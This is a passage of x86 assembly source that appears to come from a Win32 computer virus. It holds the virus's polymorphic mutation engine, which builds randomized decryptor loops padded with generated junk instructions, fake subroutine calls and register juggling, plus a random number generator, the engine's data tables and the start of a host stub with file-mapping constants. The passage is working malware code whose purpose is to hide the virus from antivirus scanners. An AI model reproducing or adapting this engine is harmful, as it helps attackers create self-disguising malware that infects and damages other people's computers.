        add     ah,03h          ; in enc loop using EBX
        call    put_encloop_2
        pop     eax

        mov     cl,byte ptr [esi - (offset r_regkey - offset r_pointer)]
        cmp     cl,03h          ; eax-ebx
        ja      upper_ones
        add     ah,cl
        jmp     ok_register_p
upper_ones:
        add     ah,06h
        cmp     cl,06h          ; esi
        je      ok_register_p
        inc     ah
        cmp     cl,07h          ; edi
        je      ok_register_p
        add     ah,03eh         ; ebp
ok_register_p:

        pop     ecx             ; type-1

        cmp     dword ptr [esi - (offset r_regkey - offset t_pntoff)],0
        je      not_plusoff
        add     ah,80h
not_plusoff:
        stosw

        xor     eax,eax

        cmp     byte ptr [esi],20h    ; using key?
        je      ok_register_k

        or      cl,cl
        je      check_rr
        cmp     cl,4
        jne     not_rol_ror
check_rr:
        cmp     byte ptr [esi],1   ; is key CX (cl)
        je      ok_register_k
        mov     al,10h                  ; if not put just immediate
        sub     byte ptr [edi-2],12h

        mov     ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)]
        sub     byte ptr [ebx-2],12h

        push    ecx
        mov     bl,20h
        xchg    bl,byte ptr [esi]       ; won't use key reg anymore in the
        call    unset_used              ; future, so use for garbage
        pop     ecx
        jmp     short ok_register_k

not_rol_ror:
        mov     al,byte ptr [esi]
        shl     eax,3                   ; * 8
        add     byte ptr [edi-1],al     ; key register

ok_register_k:
        cmp     byte ptr [esi - (offset r_regkey - offset r_pointer)],05h
        jne     not_usingbp
        mov     byte ptr [edi],00h
        inc     edi
not_usingbp:

        mov     eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)]
        or      eax,eax
        jz      no_offsetadd
        stosd
no_offsetadd:
        cmp     byte ptr [esi],20h
        jne     no_key_needed

        mov     eax,dword ptr [esi - (offset r_regkey - offset v_initkey)]
        or      cl,cl
        je      byte_key
        cmp     cl,4
        je      byte_key
        or      dl,dl
        je      byte_key

        stosb
        call    put_encloop_1

        shr     eax,8
        dec     dl
        jz      byte_key
        stosw
        call    put_encloop_2
        shr     eax,10h
byte_key:
        stosb
        call    put_encloop_1

no_key_needed:
        ret

rnd_garbage:
        push    ecx
        push    eax
        call    get_random
        and     eax,0fh         ; max - 1
        inc     eax             ; not zero
        xchg    eax,ecx

garbager:
; ecx how many
        push    edx
        push    ebx
garbager_loop:
        push    ecx
get_op_type:
        call    get_random      ; how many possible types
        and     eax,0fh

        mov     ecx,[(eax*4)+offset garbage_offsets+ebp]
        add     ecx,ebp
        call    ecx                     ; call garbage routine
        pop     ecx
        loop    garbager_loop

        mov     eax,dword ptr [t_pushed+ebp]

        cmp     eax,000005h     ; if not in a call, not in a jump and
        ja      stack_is_ok     ; pushed <=5

        or      eax,eax
        jz      stack_is_ok

        inc     byte ptr [t_inacall+ebp]

        cmp     al,01h
        ja      direct_addesp
        call    do_pop_nocheck
        jmp     stack_is_ok

direct_addesp:
        push    eax             ; then correct stack
        mov     ax,0c483h       ; add esp,nr_dd * 4
        stosw
        pop     eax
        call    force_popall
stack_is_ok:
        pop     ebx
        pop     edx

        pop     eax
        pop     ecx
        ret


do_push:
        cmp     byte ptr [t_pushed+ebp],05h     ; max dwords on the stack
        ja      exit_pusher
        inc     byte ptr [t_pushed+ebp]
        call    get_random              ; 4 types of pushing
        and     al,011b
        jz      push_register           ; normal push reg
        dec     al
        jz      push_immediate_dd       ; push immediate double
        dec     al
        jz      push_immediate_by       ; push immediate byte

        mov     ax,35ffh                ; push immediate from memory
        stosw
        call    get_address
        jmp     pre_exit_dd

push_immediate_by:
        mov     al,6ah
        stosb
        call    get_random
        shr     al,1
        jc      zero_or_menouno
        call    get_random              ; normal push as byte
        jmp     pre_exit_pusher

zero_or_menouno:                        ; very usual pushes
        and     al,01b                  ; so we will get 0 or -1
        dec     al                      ; to LARGE 0 or to LARGE -1
        jmp     pre_exit_pusher

push_immediate_dd:
        mov     al,68h
        stosb
        call    get_random
pre_exit_dd:
        stosd                           ; normal push as double
        jmp     exit_pusher

push_register:
        call    get_random_al7
        add     al,050h
pre_exit_pusher:
        stosb
exit_pusher:
        jmp     exit_ppc

do_pop:
        cmp     byte ptr [t_pushed+ebp],00h
        je      return_nopop
do_pop_nocheck:
        call    get_random
        shr     al,1
        jnc     popintoreg2
        mov     ax,0c483h       ; add esp,
        stosw
get_number:
        call    get_random_al7
        jz      get_number
        cmp     al,byte ptr [t_pushed+ebp]
        ja      get_number
force_popall:
        sub     byte ptr [t_pushed+ebp],al
        shl     al,2            ; dd are pushed, so * 4
        jmp     store_ngo2
popintoreg2:
        call    get_register
        add     cl,058h         ; pop in a register
        xchg    eax,ecx
        dec     byte ptr [t_pushed+ebp]
store_ngo2:
        stosb
return_nopop:
        jmp     exit_ppc

call_subroutines:
        cmp     word ptr [t_maxjmps+ebp],0h      ; don't nest too much nor
        jne     just_exit_call                   ; put pushes/pops in subs and
                                                 ; we can't know wassup in
                                                 ; conditional jumps and such

        inc     byte ptr [t_inacall+ebp]

        call    get_random_al7
        cmp     al,01h          ; 00h and 01h push
        jbe     do_push
        cmp     al,05           ; 02h - 05h pops (more probable so final stack
        jbe     do_pop          ; correction should be needed less often)

        ; 06,07 do a call
        mov     al,0e8h
        stosb
        stosd           ; place for offset

        push    edi
        call    rnd_garbage
        pop     ebx

        mov     al,0e9h
        stosb
        stosd                   ; jump offset
        push    edi
        call    rnd_garbage

        push    ebx
        neg     ebx
        add     ebx,edi
        xchg    eax,ebx
        pop     ebx

        mov     dword ptr [ebx-4],eax   ; call offset

        call    rnd_garbage    ; this is the called "subroutine"

        call    get_random      ; more ways of getting back from subroutine,
        shr     al,1            ; either with normal ret or by correcting the
        jnc     normal_ret      ; stack by popping or by adding to esp
        shr     al,1
        jnc     popintoreg
        mov     ax,0c483h       ; add esp,
        stosw
        mov     al,4
        jmp     store_ngo
popintoreg:
        call    get_register
        add     cl,058h         ; pop base
        xchg    eax,ecx
        jmp     store_ngo
normal_ret:
        mov     al,0c3h         ; ret
        stosb
        call    get_random_al7
        cmp     al,3
        ja      no_ccs
        xchg    eax,ecx
        mov     al,0cch         ; int3, usual after subroutines in win32s
        rep     stosb
store_ngo:
        stosb
no_ccs:
        call    rnd_garbage

        pop     ebx             ; jump offset

        push    ebx
        neg     ebx
        add     ebx,edi
        xchg    eax,ebx
        pop     ebx

        mov     dword ptr [ebx-4],eax
exit_ppc:
        dec     byte ptr [t_inacall+ebp]
just_exit_call:
        ret

maths_immediate_short:
        stc
        jmp     maths_immediate_1

maths_immediate:
        clc
maths_immediate_1:
        pushf
        call    get_random_al7 ; 0 to 7
        shl     al,3           ; * 8
        add     al,0c0h        ; the base
        popf
        push    eax
        pushf
        call    get_register
        add     al,cl
        mov     ah,81h          ; prefix
        popf
        pushf
        jnc     not_a_shortone
        inc     ah
        inc     ah
not_a_shortone:
        xchg    ah,al
        stosw
        call    g_dimension
        popf
        jnc     not_a_shortone2
        mov     cl,01h
not_a_shortone2:
        call    put_immediates
        pop     eax
        cmp     al,0f8h         ; is a CMP
        jne     not_compare
make_jmp_after_cmp:
        call    get_random
        and     eax,01b         ; long or short jump
        add     al,06h          ; short jump
        jmp     make_jump
not_compare:
        ret

cdq_jmps_savestack:
        call    get_random_al7
        sub     al,3
        jc      exit_c_j_ss
        xchg    eax,ecx
        mov     al,byte ptr [ecx+offset change_jump+ebp]
        cmp     cl,1
        ja      not_cdq_cbw

        test    byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde
        jnz     exit_c_j_ss
        stosb
        inc     edi
        call    g_dimension
        dec     edi
        jmp     exit_c_j_ss
not_cdq_cbw:
        cmp     cl,4
        je      pushandmov
        add     cl,4                    ; this is used for dimension
        jmp     do_that_fjump           ; do as for conditional ones
pushandmov:

        call    select_save
        jc      exit_c_j_ss

        xchg    eax,ebx
        mov     al,50h                  ; push

        xor     ch,ch                   ; so it won't be erased from stack
        xchg    ch,byte ptr [t_pushed+ebp]

        push    ecx
        call    unset_used              ; mark that as unused one
        add     al,bl                   ; push the reg
        stosb
        call    rnd_garbage
        add     al,08h          ; pop opcode
        stosb

        pop     ebx
        mov     byte ptr [t_pushed+ebp],bh
        mov     byte ptr [r_used+ebp],bl
exit_c_j_ss:
        ret


gen_one_byters:
        call    get_random_al7
make_jump:
        mov     cl,al
        mov     al,byte ptr [eax+offset one_byters+ebp]   ; get onebyter
        cmp     cl,05h
        jbe     not_jump
do_that_fjump:
        cmp     byte ptr [t_maxjmps+ebp],3        ; don't nest too much
        je      just_exit
        inc     byte ptr [t_maxjmps+ebp]

        cmp     al,0e9h                 ; for unconditional ones skip some
        jae     skip_unc                ; things

        cmp     cl,07h
        jne     not_longjump
        push    eax
        mov     al,0fh                  ; long prefix
        stosb
        pop     eax
not_longjump:
        push    eax
        call    get_random
        and     al,0fh
        mov     ch,al
        pop     eax
        add     al,ch
skip_unc:
        stosb                           ; type of jump
        stosb                   ; first off
        cmp     cl,07h
        jne     not_longone
        dec     edi
        stosd
not_longone:
        push    edi
        call    rnd_garbage
        pop     ebx
        mov     eax,edi
        sub     eax,ebx                 ; offset of jump
        dec     byte ptr [t_maxjmps+ebp]
        cmp     cl,7
        je      long_jumper
        cmp     eax,7fh                 ; if not too big then use it
        jb      good_jump
        mov     edi,ebx                 ; else forget everything
        dec     edi
        dec     edi
        ret
good_jump:
        mov     byte ptr [ebx-1],al
        ret
long_jumper:
        mov     dword ptr [ebx-4],eax
        ret
not_jump:
        stosb
just_exit:
        ret

mem_assign:
        mov     ax,058bh
        jmp     mem_common

mem_mathops:
        call    get_random_al7  ; 0 to 7
        shl     al,3
        add     al,03h          ; base
mem_common:
        push    eax
        call    get_register
        shl     cl,3            ; *8
        add     cl,05h          ; base for eax
        mov     ah,cl
        stosw
        call    g_dimension

; now offset
        call    get_address
        stosd
        pop     eax
        cmp     al,3bh                  ; is a cmp
        je      make_jmp_after_cmp      ; if so force a compare
        ret


mov_registers:
        call    get_random_al7          ; random source
        add     al,0c0h
        mov     ah,08bh
        call    get_register            ; useful dest
        shl     cl,3
        add     al,cl
        xchg    ah,al
        stosw
        jmp     g_dimension

maths_registers:
        call    get_random_al7
        shl     al,3
        add     al,03h         ; base
        mov     ah,0c0h         ; suff
        push    eax

        call    get_register    ; dest
        shl     cl,03h
        add     ah,cl

        xchg    eax,ecx             ; save temp in ecx
        call    get_random_al7      ; all regs
        xchg    eax,ecx             ; reg in ECX and restore EAX

        add     ah,cl
        stosw

        call    g_dimension
        pop     eax
        cmp     al,3bh
        je      make_jmp_after_cmp
        ret

rotating_imms:
        call    get_random_al7
        cmp     al,0110b                ; 0f0 doesn't exist
        je      rotating_imms
        shl     al,3                    ; *8
        add     al,0c0h

        call    get_register
        add     al,cl
        mov     ah,0c1h
        xchg    al,ah
        stosw
        call    g_dimension
        xor     ecx,ecx
        inc     cl
        jmp     put_immediates

notneg_register:
        call    get_random
        shr     al,1
        mov     ax,0d0f7h
        jc      not_add
        add     ah,08h
not_add:
        call    get_register
        add     ah,cl
        stosw
;        jmp     g_dimension

g_dimension:
; EDI after generated garb
reget_dim:
        call    get_random
        and     eax,010b        ; 0 or 2
        jnz     no_change
word_change:
        mov     ecx,dword ptr [edi-2]
        mov     byte ptr [edi-2],66h    ; the prefix
        mov     dword ptr [edi-1],ecx
        inc     edi
no_change:
        inc     eax
        inc     eax
        xchg    eax,ecx                 ; in ECX needed immediates
        ret

imm_assign:
        call    get_register
        mov     al,0b8h         ; base
        add     al,cl
        stosb
        inc     edi
        call    g_dimension
        dec     edi
;        jmp     put_immediates

put_immediates:
; cl how many
        call    get_random
put_imm_part:
        stosb
        shr     eax,8
        loop    put_imm_part
        ret

inc_dec_reg:
        call    get_random
        and     al,01b
        shl     al,3                    ; * 8, so will be 0 or 8
        add     al,40h                  ; incdec generation
        call    get_register
        add     al,cl
        stosb
        inc     edi
        call    g_dimension
        dec     edi
        ret

xchg_regs:
        mov     ax,0c087h               ; xchg eax,eax
        call    get_register
        add     ah,cl
        call    get_register
common_test_xchg:
        shl     cl,3
        add     ah,cl
        stosw
        jmp     g_dimension

test_regs:
        mov     ax,0c085h               ; test eax,eax
        push    eax
        call    get_random_al7
        mov     ch,al
        call    get_random_al7
        mov     cl,al
        pop     eax
        add     ah,ch
        jmp     common_test_xchg

temp_save_change:
        call    get_random_al7
        sub     al,6                    ; 1/4 probability, since this couldn't
        jc      skip_changer            ; come too often

        call    select_save
        jc      skip_changer

        push    ecx
        call    save_mov_xchg

        xchg    eax,ecx                 ; in al new register
        mov     al,byte ptr [edx]       ; imp_reg
        shl     al,3
        xchg    eax,ecx
        add     al,cl
        or      al,0c0h
        xchg    al,ah
        stosw                           ; mov important_reg,some_reg
        pop     ebx
        mov     byte ptr [r_used+ebp],bl    ; restore regs status
skip_changer:
        ret

select_save:
        call    get_random_al7
        sub     al,5                    ; get from 0 to 2
        jc      select_save

        xchg    eax,edx
        add     edx,offset r_pointer
        add     edx,ebp
        mov     al,byte ptr [edx]

        cmp     al,0ffh                 ; not already assigned?
        je      exit_bad

        cmp     al,20h                  ; no key signature, if so skip
        je      exit_bad

        call    is_used                 ; maybe is already saved on stack or
        jnz     return_good             ; such?
exit_bad:
        stc
        ret
return_good:
        mov     cl,byte ptr [r_used+ebp]
        clc
        ret

save_mov_xchg:
        xchg    eax,ebx
        call    get_register            ; get an usable register
        xchg    eax,ecx
        call    set_used                ; set this one as used
        call    unset_used              ; and the previous as unused
        mov     ah,087h                 ; xchg reg,reg base
        push    eax
        xor     ecx,ecx
        call    get_random              ; select if using mov or xchg
        shr     al,1
        jc      use_mov_first
        mov     cl,4                    ; + 4 becames mov reg,reg base
use_mov_first:
        shr     al,1                    ; when just saving this won't be used
        jc      use_mov_after           ; select whichone for restore aswell
        mov     ch,4
use_mov_after:
        pop     eax
        add     ah,ch                   ; restore one
        push    eax
        sub     ah,ch
        add     ah,cl
        shl     al,3                    ; * 8
        add     al,bl
        or      al,0c0h                 ; mov some_reg,important_reg
        xchg    al,ah
        stosw                           ; put the moving of regs
        call    rnd_garbage
        pop     eax
        ret


; tables for various purposes
garbage_offsets:
        dd      offset  call_subroutines
        dd      offset  gen_one_byters
        dd      offset  mov_registers
        dd      offset  mem_assign
        dd      offset  mem_mathops
        dd      offset  maths_immediate
        dd      offset  maths_immediate_short
        dd      offset  maths_registers
        dd      offset  rotating_imms
        dd      offset  notneg_register
        dd      offset  imm_assign
        dd      offset  inc_dec_reg
        dd      offset  xchg_regs
        dd      offset  test_regs
        dd      offset  temp_save_change
        dd      offset  cdq_jmps_savestack


one_byters      db      090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h

change_jump     db      098h,099h,0ebh,0e9h

_math_imm:
        dw      008c1h  ; ror d[ebx],imm
        dw      02881h  ; sub d[ebx],imm
        dw      03081h  ; xor d[ebx],imm
        dw      00081h  ; add d[ebx],imm
        dw      000c1h  ; rol d[ebx],imm
_math_key:
        dw      008d3h  ; ror d[ebx],cl
        dw      00029h  ; sub d[ebx],eax
        dw      00031h  ; xor d[ebx],eax
        dw      00001h  ; add d[ebx],eax
        dw      000d3h  ; rol d[ebx],cl

; cmp,or,xor,sub,add
chk_counter     db      0f8h,0c8h
key_changers    db      0e8h,0f0h,0c0h  ; xor sub add
                db      0c0h,0c8h       ; ror rol
                db      040h,048h       ; inc dec

get_address:
        push    esi
        mov     ebx,edi
        lea     esi,[offset v_runnin + ebp]
        sub     ebx,dword ptr [esi - (offset v_runnin - offset t_inipnt)]
                                                ; actual decryptor lenght
        add     ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)]

        mov     edx,dword ptr [esi]

                db      0b1h            ; mov cl,
t_memand        db      00h             ; significant bytes present

        add     edx,ebx

search_offset2:
        call    get_random
        shl     eax,cl
        shr     eax,cl
        cmp     eax,dword ptr [esi]     ; is < starting off of poly?
        jb      search_offset2
look_foroff2:
        cmp     eax,edx                 ; upper border
        jbe     ok_offset2
        sub     eax,ebx
        jmp     look_foroff2
ok_offset2:
        pop     esi
        ret

get_random_al7:
        call    get_random
        and     eax,0111b
        ret

get_random:
        push    ebx
        push    edx

        db     0b8h                     ; mov eax,
seed    dd     000h                     ; random seed, must be < im

        mov     ebx,4096d                ; ia
        mul     ebx
        add     eax,150889d              ; ic
        adc     edx,0
        mov     ebx,714025d              ; im
        push    ebx
        div     ebx
        mov     dword ptr [seed+ebp],edx
        xchg    eax,edx
        cdq
        xor     ebx,ebx
        dec     ebx
        mul     ebx                     ; * 2^32 - 1
        pop     ebx
        div     ebx                     ; here we have a 0<=rnd<=2^32
        pop     edx
        pop     ebx
        ret


is_used:
; AL register
        push    eax
        mov     cl,al
        mov     al,1
        shl     al,cl
        test    byte ptr [r_used+ebp],al
        pop     eax
; Z  = register not used
; NZ = register used
        ret

set_used:
; AL register
        push    eax
        mov     cl,al
        mov     al,1
        shl     al,cl
        or      byte ptr [r_used+ebp],al
        pop     eax
        ret

unset_used:
; BL register
        push    eax
        mov     cl,bl
        mov     al,1
        shl     al,cl
        not     al
        and     byte ptr [r_used+ebp],al
        pop     eax
        ret

get_register:
        push    eax
reget_reg:
        call    get_random_al7
        call    is_used
        jnz     reget_reg               ; check we aren't using it
; the is_used will put the reg in cl
        pop     eax
        ret

; how much memory does the ETMS need, so you can substract from the lenght
; of the virus on file of course
_mem_space      =       (offset _mem_data_end - offset _mem_data_start)

_mem_data_start:

t_inipnt        dd      00h             ; initial EDI

r_pointer       db      00h             ; register used as pointer
r_counter       db      00h             ; register used as counter
r_regkey        db      00h             ; register used as key, 20h use
                                        ; immediate as key
r_used          db      00000000b
;  bits meaning          0 0 0 1 0 0 0 0
;                        E E E E E E E E
;                        D S B S B D C A
;                        I I P P X X X X

t_chgpnt        db      00h             ; changes to be made to pointer
t_chgcnt        db      00h             ; changes to be made to counter
t_chgkey        db      00h             ; changes to be made to key register
t_chgmat        db      00h             ; changes to be made to operation

t_pntoff        dd      00h             ; offset added to pointer (00h if not
                                        ; added)
t_cntoff        dd      00h             ; constant to be added to counter
                                        ; value

t_fromend       db      00h             ; 00h from start, else from end
t_countback     db      00h             ; 00h decrementing, else incrementing
t_pushed        db      00h             ; pushed dwords
t_maxjmps       db      00h             ; max jumps
t_inacall       db      00h             ; into a call or not
                db      00h             ; just to optimize poly size :)

v_lenght        dd      00h             ; lenght
v_virusp        dd      00h             ; pointer to body
v_runnin        dd      00h             ; offset at which dec will run

w_counter       dd      00h             ; where counter is assigned - 1
w_pointer       dd      00h             ; where pointer is assigned - 1
w_loopbg        dd      00h             ; where loop begins
w_encrypt       dd      00h             ; pointer on current pos in encryptor

_mem_data_end:


virus_end       equ     $
        
.code 

_main:
        Decryptor       db      1024    dup(90h)
        jmp     x_main
        
        
        FILE_ATTRIBUTE_NORMAL           equ     00000080h
        OPEN_EXISTING                   equ     3
        GENERIC_READ                    equ     80000000h
        GENERIC_WRITE                   equ     40000000h
        INVALID_HANDLE_VALUE            equ     -1
        PAGE_READWRITE                  equ     4h
        FILE_MAP_WRITE                  equ     00000002h       
        FILE_SHARE_READ                 equ     00000001h       
        GPTR                            equ     0040h
        OPEN_ALWAYS                     equ     4
        
end _main